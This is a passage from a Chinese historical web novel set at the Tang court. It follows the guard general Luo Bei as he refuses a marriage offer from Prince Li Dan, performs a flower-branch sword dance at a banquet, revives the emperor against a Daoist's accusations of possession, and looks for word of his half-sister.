“晓得了。”洛北颔首笑道:“明日我就把我这里的都给你送去。” “那可就一言为定!” 听了王翰的保证,洛北也没有放下心来,可无论他再如何焦急,休沐之日都已过去。他如约回到玄武门外的右羽林军屯营之中,再度与自己的一干下属们相见。 大唐的宫禁宿卫要么出身世家大族,要么出身内附部族首领的贵胄之家,要么出身李唐宗室,各个是自持身份,眼高于顶。好在洛北之前便与其中的许多人相熟,这些人也就没有“欺生”。 洛北深知,对待他们,不能像对待于阗守军那样简单粗暴,他先以宽和待人,放养了这些人月余功夫,又在月底之时突发考试,将他们分为小组,进行一场比武大赛。 这比武的项目都是禁军子弟们日常操练的项目,可拉到比赛台上来,人人之间就拉开了差距。洛北就把他们聚在一起,对他们道:“诸位都是出身高贵,又素有才能,难道甘心长居宫禁,不想建功塞外吗?陛下派我来操练禁军,是用心长远,想对诸位委以重任啊。” 他战功赫赫,说出此话便格外有说服力,下方就有几个人眼睛都亮了:“陛下想要北伐突厥吗?” “突厥刚刚派遣使节来议和,这样的话现在还不好说。”洛北重读了“现在”二字,“诸位外出时,也不可胡乱传话,如有违者,我军法处置。” 一众卫士都默然不言,心里的那团火焰都已燃烧了起来,他们中大部分人的父祖都是军功出身,他们打小听着霍去病封狼居胥,太宗皇帝一战擒两王的故事长大,岂能对这样的诱惑不动心。 洛北收敛笑容,正色道:“不过,以委以重任的标准来看,你们,都还不够格。” 他眼见有几个将士面露不服,当即抄起弓箭,向远方放出一箭,箭矢穿过守门郎手中的战戟,又直直地钉在箭靶上。 众人惊叹一片,洛北不以为意,放下弓箭,沉声道:“所以,接下来的时间,我希望诸位能够好好训练,共同进步——我作为主将,向诸位许诺,我必公正处事,赏罚分明。” 十日之后,他又再度举行比武,卫士之中已有不少人能够百步穿杨,他公开表彰了这些人,还将那些成绩最优异者邀请到家中宴饮。宴会高朋满座,直到第二日清晨才各自散去。 好容易把这些人送走,洛北洗漱一毕,还没来得及睡下,又有人拿着请帖上门。他本想推拒,可看了看请帖上的名字,还是换了衣裳参加了。 这次下帖请他的不是别人,正是朝中最炙手可热的新晋宰相,他的老上级,郭元振。 郭元振已在长安城中置下了宅第,端的是轩敞明亮、玉砌雕阑。洛北信步走过玄关和游廊,来到花厅之中,郭元振正坐在主位上品茶,见他过来,只是一笑,把他上下打量一番:“今天怎么没穿那身月白色的衣裳来?那件衣裳更衬你些。” 这简直不是上级在和下级说话,像是无事的两人在拉家常了。洛北不明就里地望着郭元振——他记忆里,这位大帅可不是个喜欢拉家常的人。他这是有什么目的? 郭元振却浑然不觉,只拉着他坐下,从西域战后的处置,一路胡天海地的乱扯,连桌上的茶水都换了三回,郭元振还兀自滔滔不绝:“上回孝嵩说,龟兹的新王白莫苾要把自己的妹妹许配给你,你可见过?” 洛北想了想,诚实地摇了摇头,他在伊逻卢城里和文书待在一起的时间都比和活人待在一起的时间多:“我在伊逻卢城那几日都在忙公务,哪里顾得上这些事情,再说,孝嵩已经把此事回绝了。” “那可就可惜了,龟兹女人素来以美丽著称。”郭元振摸了摸胡子,“你说呢?” 洛北看了他一眼,觉得郭元振今天简直是奇怪得很: “大帅又不是不知道,我久在军中,又一向反对军中有平民女子随行。我的部下要是去混迹烟花之地被我抓到,都是要抽鞭子的。我身为主帅,若是自己都不遵守军法,又怎么敢这么严厉地约束下属?” 郭元振忍不住笑了:“是,是,是。你不要着急嘛。” “大帅,今天您把我叫来,到底是为了什么,可否给属下一个明示?”洛北见他笑了,更是丈二和尚摸不着头脑,干脆站起身,看着郭元振。 “洛卿。”自花厅的墙后走出来一个中年男人,他生得和当今皇帝十分相像,只是比当今皇帝瘦弱一些,额头更窄一些,肤色也更白一些:“不怪郭相公,是我不让他告诉你。” 洛北几乎是顷刻之间就猜到了此人身份,当即跪地道礼:“微臣见过相王殿下。” “哎,现在不是在朝堂上,我也没穿着王爷的服饰,你何必行这么大的礼。”相王李旦双手把洛北扶了起来,自己坐到主座上,又示意他和郭元振一道坐下:“洛卿,之前我家三郎在长安的时候,我常听他提起你的名字,今日终于一见,真是闻名不如见面啊。” 洛北立刻明白了,那个郭元振之前提到的,能帮助他谋求兵部侍郎职位的朝中贵人就是眼前的相王李旦。可李旦和郭元振之间,并无任何表面上看得出来的联系,他们是怎么结成这样的同盟的? 而眼前这位不温不火的相王,又在朝中有多少郭元振这样可以动用的人手? 他恭敬道礼:“能以贱名闻于贵人之耳,微臣不胜荣幸。” 最关键的是,相王此刻出现在这里,是想要干什么? 第139章 “我是何时开罪了大帅,让大帅这样把刀往陛下手里送,把我往君臣相疑的绝路上逼!” 洛北心中思绪如山, 面上却平静如幽静湖水。 李旦见他宠辱不惊,内心更加欢喜,眼角唇边都弯了起来, 笑眯眯地道:“洛卿是何年生人?” “微臣是垂拱元年出生的。”洛北恭敬道。 “洛卿二十四岁, 便能荡平西域,为国建功,实在是英雄出少年啊。”李旦笑吟吟地望着他,“本王听郭相公说,你自少时流落突厥, 后来回了凉州,就在他手下任职,专心事业, 家中未有婚配,此话可真?” 洛北瞳孔微微放大,想要去看郭元振, 又不能在李旦面前过于放肆, 只得应了:“微臣确实不曾婚配。” “如此甚好,洛卿啊,我家有几个女儿,年纪都同你相配。我愿将小女许配给你, 不知你以为如何呀?”李旦道。 洛北抬起头,用极为诚惶诚恐的目光打量了他一眼, 才跪倒在地,低声道:“微臣万死不敢有此心思,请相王殿下不要开这样的玩笑。” 李旦见他推得决绝, 也不好压着他的头做这个老丈人,一时之间竟僵在那里。 郭元振见这小子竟这么不给面子, 不得不开口说话了:“洛北,相王殿下是真心看重你这个人才,你何必推脱?” 洛北伏低身子,口中更加恭敬:“大帅知道,微臣是西突厥十姓可汗之长子,将来是要回西域去的。诸位郡主金枝玉叶,何必让她们去塞外受一辈子的风沙苦寒。” 李旦虽然有意招揽洛北,但也素来宠爱自己的几个女儿,一听他说要把女儿带到西域那样离家万里的地方,神情也有些犹疑:“这,郭相公” 郭元振简直是恨铁不成钢了,他上前一步,还未说话。洛北又道:“更何况,婚姻大事,总要父母之命,媒妁之言,父亲远在伊逻卢城,微臣身为人子怎可擅自答应婚事?” “这话说倒也是个道理。”李旦见他给了台阶,便忙不迭地下来了:“此事是本王唐突了,还请洛卿不要见怪。可惜我那三郎已经外放就藩,否则本王还可以邀请你到家里来打打马球。” 他们三人寒暄一阵,李旦才施施然地离开了。郭元振见洛北神情漠漠,气不打一处来: “你这家伙,和相王殿下说什么呢?便是从西突厥十姓可汗之长子的身份论,朝廷也当妻以宗室之女。相王的女儿们各个青春年少,温和守礼,难道还委屈了你?你左一个父母之命,右一个媒妁之言,生生把这好好的婚事搅黄了。” 洛北和郭元振太过熟悉,此刻也是满肚子的委屈,干脆也不在他面前打那套官场上的太极,单刀直入道: “大帅问我,我还想问大帅呢!陛下本就忌惮相王,如今我有宿卫宫禁的重责,大帅却要我与相王结亲,且不说这婚事最后是否能成,消息到了陛下那边,一定会引起陛下的忌惮。我真想问问,我是何时开罪了大帅,让大帅这样把刀往陛下手里送,把我往君臣相疑的绝路上逼!” 郭元振见他难得动了真情,心知他是想起了昔年被默啜逼出牙帐,走投无路的旧事,脸上的笑容也收了,心中的气也消了:“你不了解陛下。陛下虽然多疑,可你只要咬死了是儿女私情,以陛下的性格,肯定愿意成人之美。没有你说的那么严重。” 洛北拱手躬身,敬谢不敏:“大帅还是饶了我,让我的脑袋在我的脖子上多待几年吧,鸟尽弓藏,也要等西域局势稳定了再说啊。” 郭元振敲了敲他的脑门:“不吉利的话不要讲!”他摸了摸胡须,看着站直身子的洛北,半是试探,半是认真地问道:“不过,我听人说,你让王翰和裴伷先在替你打听一个叫褚沅的宫女?” “确实如此。”洛北认得坦荡。 “窥伺宫禁,打探消息,你这会儿就不怕陛下疑心了?”郭元振似笑非笑地看着他。 洛北抿了一口杯中的茶水,知道他是误会了,便道:“我与褚郡君并无男女私情,大帅误会了。我打探褚郡君的消息,是因为她是我一母所生的妹妹。” 郭元振好险没把一口茶水呛在喉管里:“你说什么?” “我说,褚郡君是我同母异父的亲妹妹。”洛北见状,只得放慢声音,又重复了一遍。 郭元振目瞪口呆:“你说什么?你的母亲是……是……不对,褚郡君的母亲也是高门大户出身,她是” “家母出身西眷裴家,是宰相裴炎的族妹。她在出阁之前,曾与阿史那献将军有私,珠胎暗结,有了我。”洛北把真相稍稍隐藏,说了个天衣无缝的谎话,“后来她嫁入褚家,又生了褚郡君。” 郭元振这才从这惊天的八卦中缓过神来,不由得擦了擦额角的汗,这是当着洛北的面,他压了好几次,才勉强咽下了那句:世风日下,人心不古。 洛北道:“所以我父在小时候不肯认我,他那时还未娶亲,怎好先有个‘母不详’的儿子在家里?” 郭元振深深地叹了口气,以阿史那献的出身,他的妻子大概也会出身高门大户,或者干脆就是宗室女子。他这样行事,也不是不能理解,但是: “那你父亲之前上奏陛下,请求陛下恢复你身份的奏章里为什么不写明白呢?还说什么‘以其出身卑微,不愿相认’之类的鬼话。” “这我就不知道了,不过我揣度过,他那样说,不过是两个原因。” 洛北顿了顿道:“其一,当然是因为西域盛传那个‘祆神赐目’的传说,大家都觉得‘乌特特勤’的母亲是阿史德家族的女巫。他不愿意打破传说。” 郭元振深以为然:阿史那献在西域的统治有一大半是靠乌特特勤的声望撑着,他怎么敢打破这个能帮助自己统治的神话故事,说乌特特勤的母亲只是个普通的汉人女子? “其二么……”洛北轻轻叹了口气,“家母已经故去多年,他大概也不想在她身后再把当年的风流韵事翻出来,让她被人评点。” 郭元振一时也不知该说什么,只望着地面,静默不语,半晌才道:“他倒是一往情深,他知不知道,这是欺君的大罪啊!” 洛北道:“不错,不过我想,倘若陛下知道相王殿下主动结交禁军首领,还许以婚姻……” 郭元振恨不得踹他一脚,这小子还学会不声不响地威胁人了:“知道了!今日之事,我不会提起,你也不许再提!” 洛北笑一笑,低头应了。其后,他便如往常一样,宿卫宫禁,操练军旅,对朝堂上的事情冷眼旁观,闲居无事,就与禁军将士们混在一起,骑马射猎,蹴鞠马球。 如此又是十日过去,八月中旬的一个清晨,洛北正在看着手下将士交班,远远地,皇帝的明黄銮驾一路向宫门而来。那是准备出宫去宴游的皇帝陛下提前出发了。 “洛卿。”李显似乎心情很好,见他道礼,也虚扶了他一把:“你今日休沐无事,不如同我一道去宫外宴游,如何?” 皇帝的询问显然不是可以推却的东西。洛北只得低头应了,重换了身便服与李显同行。銮驾浩浩荡荡,来到了宫外的国子祭酒叶静能的府邸上。 叶静能本是个主管宫内服饰事务的小官员,却自称懂道,善于法术。靠着一些旁门左道得到了皇帝的信任,被封为国子监祭酒。当时神龙功臣当朝,五王之中的桓彦范等都曾表示反对,要求李显收回成命,重新任命德高望重的大儒担任此职。可李显还是一意孤行。 叶静能是李显的“近臣”,对皇帝的脾性摸得分外清楚,他家中的饮食、乐舞、酒菜都很对李显的胃口,乃至于一草一木,一廊一柱都是精心设计过的,李显像回了自己家似的,一屁股坐在了主座上就不肯挪开。 洛北冷眼旁观,这木头是上好的楠木,花草是从江南移栽而来的精品。莫说叶静能这位从三品的国子祭酒,便是他这个“右羽林军大将军,昆陵郡公”的俸禄也经不起这么花。恐怕这位皇帝近臣不仅有皇帝的赏赐,还沾染了一些行贿受贿,卖官鬻爵的事情。 他正这样想着,席上忽而一阵混乱,原来是李显见台上的舞姬跳得好,一时起意,要众人各做一首《回波乐》。 《回波乐》相传是尔朱荣与群臣所创,到了大唐,教坊的乐工们将它改为乐曲和舞曲。台上的舞姬刚刚跳的就是这支曲子。李显大概也是见此起意,要众臣同贺。 “洛将军,你也下场来写一首吧?”说话之间,宋之问笑道。 此人是武三思旧党,也是出卖王同皎的告密者。洛北不想理他,便刻意向他那边望一眼。 宋之问立刻收了笑容,不再说话。 不过他两人动作太过明显,眼看着皇帝的目光已经投了过来,洛北只得低身对李显道礼:“陛下,微臣出身塞外,不善词曲,还请陛下允许微臣旁观。” 李显笑道:“洛卿年少华美,不能以词为乐,实在当罚。依我看,就罚你也跳一曲《回波乐》来吧。” 众臣顿时起哄一片,其中还不乏有好事者等着看洛北的笑话——大唐宴会上,以舞相属本是稀松平常,但在舞姬之后跳与舞姬相同的曲子,这多少是有点折辱意味。 洛北冷然道:“陛下,请恕微臣孤陋寡闻,不知这《回波乐》如何跳来。若陛下真要微臣以舞为贺,微臣请以剑舞。” 李显这才知道自己之前的失言,他本意自然不是要当着众臣的面打压自己的禁军将领:“好,好,好。洛卿,朕准你以剑舞相抵。” 洛北正要抽出腰边的唐刀,叶静能赶忙出列,跪在地上:“陛下,正值秋日,秋主肃杀,宴会动兵是为不吉,以臣之见,还是请洛将军不要动刀剑的好。” 李显不置可否地看了一眼洛北。洛北便把腰间的佩刀解了下来,双手递在李显案前:“既然如此,微臣请以花枝代之。” 第140章 “宋公何必惊慌,这只是一枝桂花而已。” 洛北此话一出, 正在埋头写诗的一众大臣们都忍不住抬头张望,剑器舞人人都见过,以花枝相代却是第一次见。 洛北接过仆役折来的一支桂花, 将木枝在手中挽了个剑花, 右手背身持剑,左手捏了个剑诀,才向李显微微躬身,以示礼节。 乐工齐声而作,奏的却是《诗经》中的《鹿鸣》一章。《毛诗序》中说, 此诗是“燕群臣嘉宾也”,是周王在宴会上所奏的宴席之曲,要的是众臣能尽其意, 匡扶君主,也有要求君主纳谏的含义。 李显自然知道洛北这一曲的用意,他不太高兴地调整了坐姿, 等着看洛北要如何在这一曲节奏欢快的宴曲之中舞剑。 乐曲鼓点一起, 洛北花枝微扬,枝走龙蛇,施展了一套极快极凌厉的剑法,他一起一落, 一立一旋,都是踩在鼓点之上, 到了后来,便不见人影,只见花枝上的嫩黄小花簌簌而落。凝重处如群山傲立, 轻灵处如风拂湖面,变幻莫测, 迅捷无比。 有几个大臣看得入神,连手中笔落了也没发现。待到章末处,洛北才清喝一声,花枝忽地飞出,自宋之问颊边擦过,直直插入了他身后的柱子上,花枝穿柱而过,只留了小半截在外头。 “好。”李显率先鼓掌:“洛将军神武如此,有你在朕身边宿卫,便是鬼神来犯,朕也不怕了!” 见李显这么高兴,众臣也都群起附和,有的盛赞他少年英雄,有的称他为国之栋梁,唯有宋之问吓得半天没有反应,眼见舞曲已毕,自己还活在世间,才抚着胸口,一遍一遍地顺过了气:“陛下,臣请治右羽林大将军蓄意谋害之罪!” “宋公何必惊慌,”洛北走过众人,自他身边将那支花枝轻轻抽了出来:“这只是一枝桂花而已。” 李显撇了撇嘴:“就是,宋之问,你也忒得胆小!你看,你脸上连一点擦伤都没有,哪里来的什么谋害之罪啊?” 群臣哄堂大笑。 宋之问被皇帝这样一顶,哪还能说出来半个字,只得灰溜溜地坐了回去。李显拍了拍手,对众臣道:“好了好了,洛将军的剑舞都结束了,你们的《回波乐》呢?都好了没有?” 这首曲子并不难填,当下众臣都一一起身,依言念了自己所做的《回波乐》。内容不过是称赞皇帝治国有方,四海升平一类的老套词句,还有人称颂皇后与皇帝的举案齐眉。最离谱的,也不过有人以诗词为自己求富贵。 轮到谏议大夫李景伯的时候,他起身道:“回波尔时酒卮,微臣职在箴规。侍宴既过三爵,喧哗窃恐非仪。” 李显的脸色立刻变了:“李景伯,你这是什么意思?!” 李景伯久为谏官,劝谏是他的职责所在,此刻眼见皇帝变了脸色,也敢强顶:“陛下,微臣只是尽职责劝谏,今日的酒已经喝过了头,按照礼仪,不能再继续了。我想,洛将军所做的《鹿鸣》剑舞,应当为今日的结束。” 李显气得拍了桌子:“你父亲在世的时都没有这么顶撞过朕!”李景伯之父是宰相李怀远,素来对李显十分尊敬。 “陛下。”眼下这个局面,唯一在场的宰相萧至忠不得不起来说话了,“李景伯能犯颜直谏,正是谏官的本色啊。陛下能慧眼识才,任他为谏官,不也正是看重了这一点吗?” 这话里半是劝谏,半是吹捧。李显脸色稍霁,重新坐下身:“罢罢罢。既然萧相公这么说了,朕也知道你们的苦心,等剩下的人把此诗念完,我们就回去吧。” 席间等待许久的几位臣子这才各自起身念诵。李显撑着下颌,静静地听着,过了一会儿,竟手上一松,差点支撑不住,倒在地上。 洛北本侍立在皇帝身后,此刻离他最近,他立刻上前一步把皇帝扶在位置上,伸手按了按皇帝的脉搏: “萧相公,陛下是犯了气疾,快去请太医!” 萧至忠闻言点头。他家九代高官,侍奉过自高祖以来的历代李唐天子,知道气疾乃是李氏家族的常见病。他立刻起身命仆从去太医院找院判来,又命人去宫中禀报皇后。 有他做主,众臣一下安定下来,各个等在自己的位置上,等着太医前来为皇帝诊治。 唯有叶静能不甘寂寞,他捻手指算了算:“……不对吧,陛下刚刚还身体康健,怎么会突然晕倒呢?以我看,一定是小人作祟。让陛下撞了邪。” 萧至忠喝道:“叶祭酒不要胡说!你难道没读过‘子不语怪力乱神’吗?” 叶静能装模作样地念诵一番:“占出来了,占出来了,陛下身边的小人,就是你身后的一个突厥人和婢女所生的小杂种,萧相公,你难道没听过,‘非我族类,其心必异吗?’” 洛北本在暗暗替皇帝摩挲几处大穴,好缓解皇帝的头疼,从未想过这话题能落到他自己头上。他抬眼看了一眼萧至忠,那眼神的意思是:“这家伙怎么了?” 萧至忠望着洛北如流金般的琥珀色眼睛,无奈地摇了摇头。他知道,洛北为人沉静冷峻,也不爱掺和朝务。可众臣面上不表,又有多少人在心里暗暗地嫉妒这个年方二十四岁,就服紫佩金的异族将军? “叶祭酒!”萧至忠威严道,“陛下是圣天子百神护佑,你以‘中邪’相讥,难道是要讽刺陛下吗?!” “讽刺陛下”四个字一出,叶静能满心不愿意,也只得跪倒在地,哀求道:“萧相公,您怎么能用凡间之药来医治陛下的千金之体呢?陛下这分明是中邪了,要是不及时驱邪,陛下他是不会康复的。” 洛北现在算是知道他靠什么手段当上了国子监祭酒的高位。他冷笑一声:“叶祭酒,你家中可有家医?” 叶静能道:“当然有。” “你得病了尚要依赖家医,怎么陛下病了,却要求助于道法,这难道是侍奉君上应有的礼节吗?”洛北道。 论官品,叶静能比他只低半阶,论岁数,叶静能比他高出许多,更何况,国子监祭酒是所有太学生的校长,地位尊崇,是天下文人之望。叶静能已经做了多年皇帝的“近臣”,哪能容得下洛北回京不到一个月的青年对他呼来喝去: “你,你也配来指点我?!” 他正要发作,门外一阵马蹄作响,太医院的李院判终于姗姗来迟。他刚刚被禁军架在马上,一路飞驰而来,走下来的几步还有些颤颤巍巍,一入叶静能府上,看到这样剑拔弩张的迹象,吓得是腿也软了,手也抖了: “这,诸位大人” “扶李院判来给陛下诊脉。”洛北沉声道。他在禁军中已有积威,两个随行而来的禁军侍卫闻言,立刻上前,要把李院判扶起来。 李院判看他就在李显身边,又极有威严,已经下意识地听了他的命令,就着两个禁军的手臂,双腿向皇帝那边挪了过去。 叶静能喝道:“李院判!你可要想清楚,陛下是中了邪,不是生了病。你这方子下去,要是耽误了为陛下驱邪,你担待得起吗?” 李院判看看洛北,又看看叶静能,属实是手足无措,脚下一步也不敢动了。 萧至忠见他拖沓,生怕耽误了皇帝的病情:“李院判,还不上来!” 李院判扑通一声,跪倒在地:“萧相公我我” “好了。”洛北没空听他哭哭啼啼,“来人,把他的针包药包都拿上来。” 那个禁军卫士立刻一把从李院判手中夺了针包药包,递到洛北手上。 洛北急于诊病,也不在意别的,接过针包,便立刻取出金针,于烈酒中一过,反手就在李显百会穴、风池穴、曲池穴、含谷穴等处落了针。 他专心施针,没有留意下方一阵骚动,自然也没有看到韦皇后一身便装,头戴帷帽,亲自来到众臣之间。 韦皇后见到皇帝微合着双眼靠在洛北身上,声音已慌了:“这是在做什么?!” 叶静能看到皇后,像是看到了自己的救命稻草,一把扑过去,抓住了皇后的裙摆:“娘娘,请治洛北以谋逆之罪!” 宋之问也附和道:“娘娘,他洛北只不过是个突厥胡种,竟敢拖延时间,不让叶祭酒为皇帝驱邪,他这是包藏祸心,意图谋反啊!” 李景伯愤然道:“娘娘,不是这样的,陛下突发急症,一时不支,叶静能非说是皇帝中邪,还不让太医给皇帝诊治,洛北将军无奈,才夺了李院判的针包药包,重新为陛下诊治。” “他为陛下诊治?他一个打仗出身的禁卫将军,他懂医术?”叶静能立刻反驳道。 李景伯平素与洛北没有交往,此刻也不敢出头为他作保,只得讪讪地退了下去。 萧至忠见李景伯不言,自己也不敢为洛北出头,只俯身不语。 韦皇后痛心疾首:“你们都是四品五品的高官,拿着国家的俸禄,竟被他几句话就喝了下去,你们简直枉为国家的栋梁,枉为陛下的臣子!” 她转头看向台上,洛北已将金针依次拔出,重新放回针包之中,他神情专注,好像完全不受外界影响一般。 “还不快给我拿下!”韦皇后命道。 那几个禁卫左右看了一眼,一时也蒙了。韦皇后见叫不动他们,又喝道:“再不上前者,与洛北同罪!” 几个禁卫这才挪动步子,抽出刀剑,往洛北身边走来。洛北正好抽出最后一根金针,鲜血流出,染湿了李显的衣服和他的衣袖。 洛北眼见左右拿着刀剑走了过来,脸上露出疑惑神情:“皇后娘娘要做什么?” “你这个乱臣贼子!竟敢谋害陛下!还敢质问本宫要做什么?!”韦皇后喝道。 洛北微微皱眉,叹了口气正要解释,却见李显微微动了动手臂和手指,下一刻,李显睁开双眼,望着眼前的韦皇后,目中含笑: “皇后不要着急,你可是冤枉好人了。” 140-150 第141章 “解琬和郭元振这两个会藏私的,得了个神医竟往军队里送,真是暴殄天物。” 韦皇后见李显恢复了力气, 只是声音有些虚弱,忍不住眼含热泪:“陛下”她一面哭,一面拿手绢揩了揩面容, 好掩去那张美丽脸上的一点错愕。 李显当然不会责怪自己这位情深义重的发妻, 他挥了挥手,示意韦皇后坐到自己身侧,将她的一只手拉在怀里轻拍两下,才道: “朕只是觉得头疼了一下,就倒下去了, 虽然动作不得,但意识还是清醒的,那些人弄的鬼, 玩的把戏,朕都看得明白……” 他在这里故意把话一顿,转头望向众人: 洛北神色平静如常, 只是重新起身侍立在李显身后。 萧至忠面露喜色, 他这次算是赌对了! 叶静能的额头冒出了涔涔冷汗,当即扑通一声跪倒在地,声音里都带着颤抖:“陛下饶命,陛下饶命, 微臣是一时糊涂,这这微臣真的以为陛下是被小人所迷啊!” “叶静能。”李显敲了敲桌子, 打断了自己的这位“近臣”的哭诉:“刚刚洛北问的那句话,朕也想问你,你自己生病, 也寻家医诊治,到了朕身上, 怎么就非要用些符咒的把戏?” 这话一出,叶静能再也没有任何辩解的余地,只能不断地磕头。随着一下一下的撞击,他的额头磕出了血,发冠也掉在了地上,显得分外狼狈。 “站着做什么,快把这个人拉出去!”韦皇后放下手绢,厉声喝斥道。 一时要杀洛北,一时要杀叶静能,韦皇后的面目变得这么快,搞得随行皇帝的那几个卫士都怔住了,不知道该动还是不该动。 洛北见了,立刻上前半步,轻声道:“陛下,既然叶静能有罪,可否交于有司定罪?” 李显看着叶静能,深深地叹了口气:叶静能饱受参劾,已经不是一天两天了,但他念在此人是自己一手提拔,又为他办了许多打探消息的秘密之事,一直予以宽容。 但今日的事情,已经让他忍无可忍: “来啊,把此人拉到大理寺去定罪!” 大理寺,桓彦范的地盘? 叶静能的身体颤抖得更加厉害:“微臣知罪,求陛下开恩,求陛下开恩啊。” 桓彦范素来是眼中不揉沙子的性格,叶静能刚任职的时候,就挨过他的弹劾。 后来五王失势,叶静能也没少落井下石,这会儿偏偏又落到桓彦范手中——那他还有活路吗?! 皇帝金口一开,洛北便点头示意随行的禁军卫士们把叶静能押出叶府,送往大理寺发落。 几个聪明的仆役立刻上前,擦去了主人磕在地上的一片血水,叶府中那些失去了主君的家眷、仆役……都呆呆地站在那里,等着命运安置他们。 李显可不会管这些人是怎么想的。他站起身,理了理衣袍,重新摆出做皇帝的威严模样,对萧至忠道: “萧卿,你处置得当,救朕性命,朕本应封赏。但你已是宰相,位极人臣,朕就赏你绢百匹,玉璧一对,如何?” 萧至忠躬身道:“谢陛下,只是臣身为宰辅,居中处置乃是分内之事,不敢受此厚赏。” “萧卿就收下吧。大不了,你再还朕一桌酒席好了。” 萧至忠躬身领命:“陛下若能以贵足踏贱地,微臣阖府上下,不胜荣幸。” 李显又转过头去看洛北,令他感到奇怪的是,他并未从洛北那双流金般的琥珀色眼眸中察觉到一点欣喜情绪,他压下心中的好奇,依旧是一副威严模样道:“洛卿,今日之事,多亏有你啊。可你有这样妙手回春的医术,朕怎么之前从未听到过?” 洛北低垂眼眸:“微臣年少时流落塞外,机缘巧合,学点了医术糊口。当年解大夫在西域得病,便是微臣治疗的,后来才由解大夫举荐,到了郭相公的麾下。” “解琬和郭元振这两个会藏私的,得了个神医竟往军队里送,真是暴殄天物。” 李显捋了捋胡子,笑道:“朕可要派人问问他们,到底还想不想着君父。” 洛北知道他是要试探自己说话的虚实,笑道:“微臣只是一点微末把戏,称不上神医,只是陛下已经开了金口,微臣有个建议,若郭相公真的认罪,就请陛下罚郭相公一顿酒席,如何?” 李显哈哈大笑:“好啊,那朕就派人去问,问得了,就罚他一桌酒席。也让我们去看看他这位新宰相的府邸到底长什么模样啊!” 堂上堂下的氛围又和缓起来了,欢声笑语连成一片。 李显又道:“洛卿,你既有大功于社稷,又有大功于朕,朕应当厚赏你。朕就比照着萧相公的份例,赐你绢百匹,玉璧一对,再加一柄宝剑,如何?” 洛北道:“陛下过誉了,微臣不敢受。” “哎,朕是皇帝,金口玉言,怎么能收回呢?你就收下,日后你在宫中当值,朕有个小病小痛也可以找你诊治啊。”显拍了拍皇后的手:“皇后替朕记着此事。” 韦皇后心知这是给她刚刚喊打喊杀的举动找场子,笑道:“陛下放心,不独陛下要赏,臣妾也是要赏的。” 一番君臣尽欢之后,在场的诸位臣工终于把皇帝和皇后送回了宫中。 萧至忠这才来到洛北身边:“洛将军机敏果决,真不愧是万军之将啊。” 洛北知道萧至忠这是在向自己示好,他回以一礼:“萧相公谬赞,能与相公同朝为陛下效力,也是微臣的幸运。” 萧至忠笑了:“今日逢此变故,我要在家中摆酒压惊,洛将军愿赏光否?” 洛北摇了摇头:“请相公恕我无状,我今日另有要事安排。” 他回到府邸,家中下人来报,说是已经收到了皇后赏赐的明珠一斛,彩帛百匹,他素来对此无所用心,也不缺钱花销,便命人尽数封存起来。自己则换了身家常的衣服,向着王翰家的店铺打马而去。 王翰、裴伷先和张孝嵩都已在酒肆的雅间中坐了半日,见他匆匆赶来,脸上都露出笑意。还是王翰开口调侃他:“洛公子素来严正守时,今日是被什么事情绊住了?” 洛北接过裴伷先递来的一杯酒,喝了半杯润过喉咙,摇了摇头:“陛下。” 他简明扼要地说了今日宴会上的情况,听得其余三人是目瞪口呆。 半晌,还是裴伷先先回过神来:“公子,陛下的病严重么?” “不好说。”洛北又拿过酒壶,替自己倒了半杯,“语泄禁中,可是大罪。不过以我看,陛下要是停了这宴饮无度的习惯,会对他的身体大有裨益。” 张孝嵩摇了摇头:“为了陛下这喜欢白龙鱼服,混迹臣子之家的脾气,御史们弹劾的奏章都快堆成山了。陛下也从来没改过。但愿太医院的那些人能再劝劝陛下吧。” “那将来”王翰才说了三个字,其余三人一齐把目光瞪向他,那意思是再明显不过的“不要说!” 王翰自知理亏,只得静默下来,望着墙角边的更漏,忽而他一拍大腿,像是想起什么似的:“都顾着和你们说话了,这个时候,她应当来了!” 他拉开雅间深处的一道暗门,率先走了出去,正走到一道暗道之中,早有那等候已久的小厮向他们打手势,示意他们从暗道中的第三格走。 王翰猫着身子在暗道中穿行,低声解释:“这暗道从前是为了通风准备的,后来越修越大,就用来运送货物和藏人了。” 洛北跟在他身后七转八转,好容易来到一处宽阔些的暗门处。王翰向上一跃,攀住一边绳梯,慢慢地从绳梯爬了上去。 他们的出口处在一处地面,外头有成排的大柜子遮挡视线,洛北从空隙向外看去,从他的地方,正能看到曹珍娘头戴风帽,一袭粉裙,正坐在那里与接待她的掌柜讨价还价: “这珊瑚分明不是南海产的,也敢拿来蒙我!还敢要这么高的价格,真当我没见过世面么?!整个长安又不独你们一家卖东西,再这样纠缠下去,我就不要买了。” 她气鼓鼓的,起身要走。王翰立刻从柜台后立了起来:“曹掌宝,生意还是要好好谈么?有我在这里,谁给你气受了,马上告诉我。” “告诉你,你就能替我解决么?”曹珍娘歪了歪头,并不理他。 王翰笑道:“当然了,我是这里的少东家。”他说罢,又让掌柜的摆出几样珊瑚珍品摆到曹珍娘眼前,“这些都是我家从沿海收回来的,请曹掌宝看看,是不是能看得上眼?” 曹珍娘看那几株珊瑚红艳润泽,心里有了几分兴趣,面上却要故作傲慢道:“哼,这才像个大商人的做派么。” 趁着他们讨论珊瑚的功夫,洛北自一侧悄悄溜出,贴着柜台走到了门前。他立起身,整了整衣袍,佯作才从店中逛过来的模样:“王翰兄。” “洛将军来了。”王翰低身向他道礼。 眼见有人,曹珍娘本要离开,洛北却已经挡在了她的必经之路上,语气温和:“曹女官,好久不见。” 曹珍娘勉强扯起嘴角,向他回了个礼:“洛将军。我宫中还有要事,我先” “陛下刚刚回宫,正在接受太医的问诊,皇后娘娘陪在他身边。”洛北轻声道,“珍娘,我不相信你连答我几句问话的时间都没有。” 曹珍娘自知躲不过去,只得停下来,望着洛北: “将军,我知道您想问我褚姐姐的下路,但听我一句劝,此事并非您力所能及之事,不要再白费功夫了。” 第142章 “我没有什么要对他说的了,就请他多多保重吧。” 洛北面上的神情微微怔住了, 他甚至没有想到要左右探望一番,开口就问: “这是什么意思?” 曹珍娘已知这句话是劝不住他的了,她为难又别扭地低下头, 轻声道:“这里不是说这些的地方。王公子, 你能给我们找个地方吗?” 王翰点了点头,带着他们一路穿过楼中的回廊,爬了几段楼梯,才到了另外一间雅间之中。这雅间布置得很是精心,处处帘幕低垂, 清香冉冉地从一只瑞兽形状的鎏金香炉中飘起,几乎沾染在厚重的翡翠屏风上。 王翰亲自为他们端过几碟糕点和瓜果,将一壶果酿摆在两人之间的矮几上。他担心地望了望两人的神情, 曹珍娘一脸的不自在,几乎不敢抬头看人,但“窥伺宫禁”的洛北倒是那个更镇静的人——他身上有种果决的冷意, 让王翰禁不住眉头一跳。 “洛将军。”他低声开口, 